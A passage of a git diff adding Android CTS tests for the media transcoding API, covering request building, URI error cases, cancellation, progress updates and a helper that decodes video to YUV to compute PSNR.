+     * Verify that setting video transcoding without setting video format will throw exception.
+     */
+    public void testCreateTranscodingRequestWithoutVideoFormat() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, mDestinationUri, null)
+                            .build();
+        });
+    }
+
+    private void testTranscodingWithExpectResult(Uri srcUri, Uri dstUri, int expectedResult)
+            throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+        VideoTranscodingRequest request =
+                new VideoTranscodingRequest.Builder(srcUri, dstUri, createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+                request,
+                listenerExecutor,
+                transcodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + transcodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                    assertEquals(expectedResult, transcodingSession.getResult());
+                });
+        assertNotNull(session);
+
+        if (session != null) {
+            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to complete.");
+            boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                    TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        }
+
+        File dstFile = new File(dstUri.getPath());;
+        if (expectedResult == TranscodingSession.RESULT_SUCCESS) {
+            // Checks the destination file get generated.
+            assertTrue("Failed to create destination file", dstFile.exists());
+        }
+
+        if (dstFile.exists()) {
+            dstFile.delete();
+        }
+    }
+
+    // Tests transcoding from invalid file uri and expects failure.
+    public void testTranscodingInvalidSrcUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Uri invalidSrcUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+                + mContext.getPackageName() + "/source.mp4");
+        // Create a file Uri: android.resource://android.media.cts/temp.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+                + mContext.getPackageName() + "/temp.mp4");
+        Log.d(TAG, "Transcoding " + invalidSrcUri + "to destination: " + destinationUri);
+
+        testTranscodingWithExpectResult(invalidSrcUri, destinationUri,
+                TranscodingSession.RESULT_ERROR);
+    }
+
+    // Tests transcoding to a uri in res folder and expects failure as test could not write to res
+    // folder.
+    public void testTranscodingToResFolder() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        // Create a file Uri:  android.resource://android.media.cts/temp.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+                + mContext.getPackageName() + "/temp.mp4");
+        Log.d(TAG, "Transcoding to destination: " + destinationUri);
+
+        testTranscodingWithExpectResult(mSourceHEVCVideoUri, destinationUri,
+                TranscodingSession.RESULT_ERROR);
+    }
+
+    // Tests transcoding to a uri in internal cache folder and expects success.
+    public void testTranscodingToCacheDir() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/temp.mp4");
+        Log.d(TAG, "Transcoding to cache: " + destinationUri);
+
+        testTranscodingWithExpectResult(mSourceHEVCVideoUri, destinationUri,
+                TranscodingSession.RESULT_SUCCESS);
+    }
+
+    // Tests transcoding to a uri in internal files directory and expects success.
+    public void testTranscodingToInternalFilesDir() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
+        Uri destinationUri = Uri.fromFile(new File(mContext.getFilesDir(), "temp.mp4"));
+        Log.i(TAG, "Transcoding to files dir: " + destinationUri);
+
+        testTranscodingWithExpectResult(mSourceHEVCVideoUri, destinationUri,
+                TranscodingSession.RESULT_SUCCESS);
+    }
+
+    public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_AVC_30Frames, "Video_AVC_30Frames.mp4"),
+                false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(
+                resourceToUri(mContext, R.raw.Video_HEVC_30Frames, "Video_HEVC_30Frames.mp4"),
+                false /* testFileDescriptor */);
+    }
+
+    // Enable this after fixing b/175641397
+    public void testHevcTranscoding1080PVideo1FrameWithAudio() throws Exception {
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_1Frame_Audio,
+                "Video_HEVC_1Frame_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscoding1080PVideo37FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_37Frames_Audio,
+                "Video_HEVC_37Frames_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscoding1080PVideo72FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_72Frames_Audio,
+                "Video_HEVC_72Frames_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    // This test will only run when the device support decoding and encoding 4K video.
+    public void testHevcTranscoding4KVideo64FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
+        format.setInteger(MediaFormat.KEY_WIDTH, 3840);
+        format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+        if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
+                "Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscodingWithFileDescriptor() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_37Frames_Audio,
+                "Video_HEVC_37Frames_Audio.mp4"), true /* testFileDescriptor */);
+    }
+
+    private void transcodeFile(Uri fileUri, boolean testFileDescriptor) throws Exception {
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+        // Create a file Uri: file:///data/user/0/android.media.cts/cache/HevcTranscode.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+        ApplicationMediaCapabilities clientCaps =
+                new ApplicationMediaCapabilities.Builder().build();
+
+        TranscodingRequest.VideoFormatResolver
+                resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
+                MediaFormat.createVideoFormat(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT));
+        assertTrue(resolver.shouldTranscode());
+        MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
+        assertNotNull(videoTrackFormat);
+
+        int pid = android.os.Process.myPid();
+        int uid = android.os.Process.myUid();
+
+        VideoTranscodingRequest.Builder builder =
+                new VideoTranscodingRequest.Builder(fileUri, destinationUri, videoTrackFormat)
+                        .setClientPid(pid)
+                        .setClientUid(uid);
+
+        AssetFileDescriptor srcFd = null;
+        AssetFileDescriptor dstFd = null;
+        if (testFileDescriptor) {
+            // Open source Uri.
+            srcFd = mContentResolver.openAssetFileDescriptor(fileUri,
+                    "r");
+            builder.setSourceFileDescriptor(srcFd.getParcelFileDescriptor());
+            // Open destination Uri
+            dstFd = mContentResolver.openAssetFileDescriptor(destinationUri, "rw");
+            builder.setDestinationFileDescriptor(dstFd.getParcelFileDescriptor());
+        }
+        VideoTranscodingRequest request = builder.build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+        assertEquals(pid, request.getClientPid());
+        assertEquals(uid, request.getClientUid());
+
+        Log.d(TAG, "transcoding to format: " + videoTrackFormat);
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+                request,
+                listenerExecutor,
+                transcodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + transcodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_SUCCESS, transcodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+        assertTrue(compareFormat(videoTrackFormat, request.getVideoTrackFormat()));
+        assertEquals(fileUri, request.getSourceUri());
+        assertEquals(destinationUri, request.getDestinationUri());
+        if (testFileDescriptor) {
+            assertEquals(srcFd.getParcelFileDescriptor(), request.getSourceFileDescriptor());
+            assertEquals(dstFd.getParcelFileDescriptor(), request.getDestinationFileDescriptor());
+        }
+
+        if (session != null) {
+            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+            boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                    TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        }
+
+        if (DEBUG_TRANSCODED_VIDEO) {
+            try {
+                // Add the system time to avoid duplicate that leads to write failure.
+                String filename =
+                        "transcoded_" + System.nanoTime() + "_" + fileUri.getLastPathSegment();
+                String path = "/storage/emulated/0/Download/" + filename;
+                final File file = new File(path);
+                ParcelFileDescriptor pfd = mContext.getContentResolver().openFileDescriptor(
+                        destinationUri, "r");
+                FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+                FileOutputStream fos = new FileOutputStream(file);
+                FileUtils.copy(fis, fos);
+            } catch (IOException e) {
+                Log.e(TAG, "Failed to copy file", e);
+            }
+        }
+
+        assertEquals(TranscodingSession.STATUS_FINISHED, session.getStatus());
+        assertEquals(TranscodingSession.RESULT_SUCCESS, session.getResult());
+        assertEquals(TranscodingSession.ERROR_NONE, session.getErrorCode());
+
+        // TODO(hkuang): Validate the transcoded video's width and height, framerate.
+
+        // Validates the transcoded video's psnr.
+        // Enable this after fixing b/175644377
+        MediaTranscodingTestUtil.VideoTranscodingStatistics stats =
+                MediaTranscodingTestUtil.computeStats(mContext, fileUri, destinationUri, DEBUG_YUV);
+        assertTrue("PSNR: " + stats.mAveragePSNR + " is too low",
+                stats.mAveragePSNR >= PSNR_THRESHOLD);
+    }
+
+    private boolean compareFormat(MediaFormat fmt1, MediaFormat fmt2) {
+        if (fmt1 == fmt2) return true;
+        if (fmt1 == null || fmt2 == null) return false;
+
+        return (fmt1.getString(MediaFormat.KEY_MIME) == fmt2.getString(MediaFormat.KEY_MIME) &&
+                fmt1.getInteger(MediaFormat.KEY_WIDTH) == fmt2.getInteger(MediaFormat.KEY_WIDTH) &&
+                fmt1.getInteger(MediaFormat.KEY_HEIGHT) == fmt2.getInteger(MediaFormat.KEY_HEIGHT)
+                && fmt1.getInteger(MediaFormat.KEY_BIT_RATE) == fmt2.getInteger(
+                MediaFormat.KEY_BIT_RATE));
+    }
+
+    public void testCancelTranscoding() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Log.d(TAG, "Starting: testCancelTranscoding");
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+        final CountDownLatch statusLatch = new CountDownLatch(1);
+
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+        VideoTranscodingRequest request =
+                new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, destinationUri,
+                        createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+                request,
+                listenerExecutor,
+                transcodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + transcodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_CANCELED,
+                            transcodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+
+        assertTrue(session.getSessionId() != -1);
+
+        // Wait for progress update before cancel the transcoding.
+        session.setOnProgressUpdateListener(listenerExecutor,
+                new TranscodingSession.OnProgressUpdateListener() {
+                    @Override
+                    public void onProgressUpdate(TranscodingSession session, int newProgress) {
+                        if (newProgress > 0) {
+                            statusLatch.countDown();
+                        }
+                        assertEquals(newProgress, session.getProgress());
+                    }
+                });
+
+        statusLatch.await(2, TimeUnit.MILLISECONDS);
+        session.cancel();
+
+        Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+        boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                30, TimeUnit.MILLISECONDS);
+
+        assertEquals(TranscodingSession.STATUS_FINISHED, session.getStatus());
+        assertEquals(TranscodingSession.RESULT_CANCELED, session.getResult());
+        assertEquals(TranscodingSession.ERROR_NONE, session.getErrorCode());
+        assertTrue("Fails to cancel transcoding", finishedOnTime);
+    }
+
+    // Transcoding video on behalf of init dameon and expect UnsupportedOperationException due to
+    // CTS test is not a privilege caller.
+    // Disable this test as Android S will only allow MediaProvider to access the API.
+    /*public void testPidAndUidForwarding() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(UnsupportedOperationException.class, () -> {
+            Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+            // Use init dameon's pid and uid.
+            int pid = 1;
+            int uid = 0;
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setDestinationUri(mDestinationUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setClientPid(pid)
+                            .setClientUid(uid)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+            Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+            TranscodingSession session =
+                    mMediaTranscodeManager.enqueueRequest(
+                            request,
+                            listenerExecutor,
+                            transcodingSession -> {
+                                transcodeCompleteSemaphore.release();
+                            });
+        });
+    }*/
+
+    public void testTranscodingProgressUpdate() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Log.d(TAG, "Starting: testTranscodingProgressUpdate");
+
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+        // Create a file Uri: file:///data/user/0/android.media.mediatranscoding.cts/cache/HevcTranscode.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+        VideoTranscodingRequest request =
+                new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, destinationUri,
+                        createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+                listenerExecutor,
+                TranscodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + TranscodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_SUCCESS, TranscodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+
+        AtomicInteger progressUpdateCount = new AtomicInteger(0);
+
+        // Set progress update executor and use the same executor as result listener.
+        session.setOnProgressUpdateListener(listenerExecutor,
+                new TranscodingSession.OnProgressUpdateListener() {
+                    int mPreviousProgress = 0;
+
+                    @Override
+                    public void onProgressUpdate(TranscodingSession session, int newProgress) {
+                        assertTrue("Invalid proress update", newProgress > mPreviousProgress);
+                        assertTrue("Invalid proress update", newProgress <= 100);
+                        mPreviousProgress = newProgress;
+                        progressUpdateCount.getAndIncrement();
+                        Log.i(TAG, "Get progress update " + newProgress);
+                    }
+                });
+
+        boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        assertTrue("Failed to receive at least 10 progress updates",
+                progressUpdateCount.get() > 10);
+    }
+
+    public void testAddingClientUids() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Log.d(TAG, "Starting: testTranscodingProgressUpdate");
+
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+        // Create a file Uri: file:///data/user/0/android.media.mediatranscoding.cts/cache/HevcTranscode.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+        VideoTranscodingRequest request =
+                new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, destinationUri,
+                        createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+                listenerExecutor,
+                TranscodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + TranscodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_SUCCESS, TranscodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+
+        session.addClientUid(1898 /* test_uid */);
+        session.addClientUid(1899 /* test_uid */);
+        session.addClientUid(1900 /* test_uid */);
+
+        List<Integer> uids = session.getClientUids();
+        assertTrue(uids.size() == 4);  // At least 4 uid included the original request uid.
+        assertTrue(uids.contains(1898));
+        assertTrue(uids.contains(1899));
+        assertTrue(uids.contains(1900));
+
+        AtomicInteger progressUpdateCount = new AtomicInteger(0);
+
+        // Set progress update executor and use the same executor as result listener.
+        session.setOnProgressUpdateListener(listenerExecutor,
+                new TranscodingSession.OnProgressUpdateListener() {
+                    int mPreviousProgress = 0;
+
+                    @Override
+                    public void onProgressUpdate(TranscodingSession session, int newProgress) {
+                        assertTrue("Invalid proress update", newProgress > mPreviousProgress);
+                        assertTrue("Invalid proress update", newProgress <= 100);
+                        mPreviousProgress = newProgress;
+                        progressUpdateCount.getAndIncrement();
+                        Log.i(TAG, "Get progress update " + newProgress);
+                    }
+                });
+
+        boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        assertTrue("Failed to receive at least 10 progress updates",
+                progressUpdateCount.get() > 10);
+    }
+}
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
new file mode 100644
index 0000000..c5500ae
--- /dev/null
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -0,0 +1,524 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediatranscoding.cts;
+
+import static org.junit.Assert.assertTrue;
+
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import android.util.Size;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.Locale;
+
+/* package */ class MediaTranscodingTestUtil {
+    private static final String TAG = "MediaTranscodingTestUtil";
+
+    // Helper class to extract the information from source file and transcoded file.
+    static class VideoFileInfo {
+        String mUri;
+        int mNumVideoFrames = 0;
+        int mWidth = 0;
+        int mHeight = 0;
+        float mVideoFrameRate = 0.0f;
+        boolean mHasAudio = false;
+        int mRotationDegree = 0;
+
+        public String toString() {
+            String str = mUri;
+            str += " Width:" + mWidth;
+            str += " Height:" + mHeight;
+            str += " FrameRate:" + mWidth;
+            str += " FrameCount:" + mNumVideoFrames;
+            str += " HasAudio:" + (mHasAudio ? "Yes" : "No");
+            return str;
+        }
+    }
+
+    static VideoFileInfo extractVideoFileInfo(Context ctx, Uri videoUri) throws IOException {
+        VideoFileInfo info = new VideoFileInfo();
+        AssetFileDescriptor afd = null;
+        MediaMetadataRetriever retriever = null;
+
+        try {
+            afd = ctx.getContentResolver().openAssetFileDescriptor(videoUri, "r");
+            retriever = new MediaMetadataRetriever();
+            retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+
+            info.mUri = videoUri.getLastPathSegment();
+            Log.i(TAG, "Trying to transcode to " + info.mUri);
+            String width = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH);
+            String height = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT);
+            if (width != null && height != null) {
+                info.mWidth = Integer.parseInt(width);
+                info.mHeight = Integer.parseInt(height);
+            }
+
+            String frameRate = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE);
+            if (frameRate != null) {
+                info.mVideoFrameRate = Float.parseFloat(frameRate);
+            }
+
+            String frameCount = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT);
+            if (frameCount != null) {
+                info.mNumVideoFrames = Integer.parseInt(frameCount);
+            }
+
+            String hasAudio = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO);
+            if (hasAudio != null) {
+                info.mHasAudio = hasAudio.equals("yes");
+            }
+
+            retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+            String degree = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+            if (degree != null) {
+                info.mRotationDegree = Integer.parseInt(degree);
+            }
+        } finally {
+            if (retriever != null) {
+                retriever.close();
+            }
+            if (afd != null) {
+                afd.close();
+            }
+        }
+        return info;
+    }
+
+    static void dumpYuvToExternal(final Context ctx, Uri yuvUri) {
+        Log.i(TAG, "dumping file to external");
+        try {
+            String filename = + System.nanoTime() + "_" + yuvUri.getLastPathSegment();
+            String path = "/storage/emulated/0/Download/" + filename;
+            final File file = new File(path);
+            ParcelFileDescriptor pfd = ctx.getContentResolver().openFileDescriptor(yuvUri, "r");
+            FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+            FileOutputStream fos = new FileOutputStream(file);
+            FileUtils.copy(fis, fos);
+        } catch (IOException e) {
+            Log.e(TAG, "Failed to copy file", e);
+        }
+    }
+
+    static VideoTranscodingStatistics computeStats(final Context ctx, final Uri sourceMp4,
+            final Uri transcodedMp4, boolean debugYuv)
+            throws Exception {
+        // First decode the sourceMp4 to a temp yuv in yuv420p format.
+        Uri sourceYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + ctx.getCacheDir().getAbsolutePath() + "/sourceYUV420P.yuv");
+        decodeMp4ToYuv(ctx, sourceMp4, sourceYUV420PUri);
+        VideoFileInfo srcInfo = extractVideoFileInfo(ctx, sourceMp4);
+        if (debugYuv) {
+            dumpYuvToExternal(ctx, sourceYUV420PUri);
+        }
+
+        // Second decode the transcodedMp4 to a temp yuv in yuv420p format.
+        Uri transcodedYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + ctx.getCacheDir().getAbsolutePath() + "/transcodedYUV420P.yuv");
+        decodeMp4ToYuv(ctx, transcodedMp4, transcodedYUV420PUri);
+        VideoFileInfo dstInfo = extractVideoFileInfo(ctx, sourceMp4);
+        if (debugYuv) {
+            dumpYuvToExternal(ctx, transcodedYUV420PUri);
+        }
+
+        if ((srcInfo.mWidth != dstInfo.mWidth) || (srcInfo.mHeight != dstInfo.mHeight) ||
+                (srcInfo.mNumVideoFrames != dstInfo.mNumVideoFrames) ||
+                (srcInfo.mRotationDegree != dstInfo.mRotationDegree)) {
+            throw new UnsupportedOperationException(
+                    "Src mp4 and dst mp4 must have same width/height/frames");
+        }
+
+        // Then Compute the psnr of transcodedYUV420PUri against sourceYUV420PUri.
+        return computePsnr(ctx, sourceYUV420PUri, transcodedYUV420PUri, srcInfo.mWidth,
+                srcInfo.mHeight);
+    }
+
+    private static void decodeMp4ToYuv(final Context ctx, final Uri fileUri, final Uri yuvUri)
+            throws Exception {
+        AssetFileDescriptor fileFd = null;
+        MediaExtractor extractor = null;
+        MediaCodec codec = null;
+        AssetFileDescriptor yuvFd = null;
+        FileOutputStream out = null;
+        int width = 0;
+        int height = 0;
+
+        try {
+            fileFd = ctx.getContentResolver().openAssetFileDescriptor(fileUri, "r");
+            extractor = new MediaExtractor();
+            extractor.setDataSource(fileFd.getFileDescriptor(), fileFd.getStartOffset(),
+                    fileFd.getLength());
+
+            // Selects the video track.
+            int trackCount = extractor.getTrackCount();
+            if (trackCount <= 0) {
+                throw new IllegalArgumentException("Invalid mp4 file");
+            }
+            int videoTrackIndex = -1;
+            for (int i = 0; i < trackCount; i++) {
+                extractor.selectTrack(i);
+                MediaFormat format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    videoTrackIndex = i;
+                    break;
+                }
+                extractor.unselectTrack(i);
+            }
+            if (videoTrackIndex == -1) {
+                throw new IllegalArgumentException("Can not find video track");
+            }
+
+            extractor.selectTrack(videoTrackIndex);
+            MediaFormat format = extractor.getTrackFormat(videoTrackIndex);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar);
+
+            // Opens the yuv file uri.
+            yuvFd = ctx.getContentResolver().openAssetFileDescriptor(yuvUri,
+                    "w");
+            out = new FileOutputStream(yuvFd.getFileDescriptor());
+
+            codec = MediaCodec.createDecoderByType(mime);
+            codec.configure(format,
+                    null,  // surface
+                    null,  // crypto
+                    0);    // flags
+            codec.start();
+
+            ByteBuffer[] inputBuffers = codec.getInputBuffers();
+            ByteBuffer[] outputBuffers = codec.getOutputBuffers();
+            MediaFormat decoderOutputFormat = codec.getInputFormat();
+
+            // start decode loop
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+            final long kTimeOutUs = 1000; // 1ms timeout
+            long lastOutputTimeUs = 0;
+            boolean sawInputEOS = false;
+            boolean sawOutputEOS = false;
+            int inputNum = 0;
+            int outputNum = 0;
+            boolean advanceDone = true;
+
+            long start = System.currentTimeMillis();
+            while (!sawOutputEOS) {
+                // handle input
+                if (!sawInputEOS) {
+                    int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                    if (inputBufIndex >= 0) {
+                        ByteBuffer dstBuf = inputBuffers[inputBufIndex];
+                        // sample contains the buffer and the PTS offset normalized to frame index
+                        int sampleSize =
+                                extractor.readSampleData(dstBuf, 0 /* offset */);
+                        long presentationTimeUs = extractor.getSampleTime();
+                        advanceDone = extractor.advance();
+
+                        if (sampleSize < 0) {
+                            Log.d(TAG, "saw input EOS.");
+                            sawInputEOS = true;
+                            sampleSize = 0;
+                        }
+                        codec.queueInputBuffer(
+                                inputBufIndex,
+                                0 /* offset */,
+                                sampleSize,
+                                presentationTimeUs,
+                                sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                    } else {
+                        Log.d(TAG, "codec.dequeueInputBuffer() unrecognized return value:");
+                    }
+                }
+
+                // handle output
+                int outputBufIndex = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+                if (outputBufIndex >= 0) {
+                    if (info.size > 0) { // Disregard 0-sized buffers at the end.
+                        outputNum++;
+                        Log.i(TAG, "Output frame numer " + outputNum);
+                        Image image = codec.getOutputImage(outputBufIndex);
+                        dumpYUV420PToFile(image, out);
+                    }
+
+                    codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        Log.d(TAG, "saw output EOS.");
+                        sawOutputEOS = true;
+                    }
+                } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    outputBuffers = codec.getOutputBuffers();
+                    Log.d(TAG, "output buffers have changed.");
+                } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    decoderOutputFormat = codec.getOutputFormat();
+                    Log.d(TAG, "output resolution " + width + "x" + height);
+                } else {
+                    Log.w(TAG, "codec.dequeueOutputBuffer() unrecognized return index");
+                }
+            }
+        } finally {
+            if (codec != null) {
+                codec.stop();
+                codec.release();
+            }
+            if (extractor != null) {
+                extractor.release();
+            }
+            if (out != null) {
+                out.close();
+            }
+            if (fileFd != null) {
+                fileFd.close();
+            }
+            if (yuvFd != null) {
+                yuvFd.close();
+            }
+        }
+    }
+
+    private static void dumpYUV420PToFile(Image image, FileOutputStream out) throws IOException {
+        int format = image.getFormat();
+
+        if (ImageFormat.YUV_420_888 != format) {
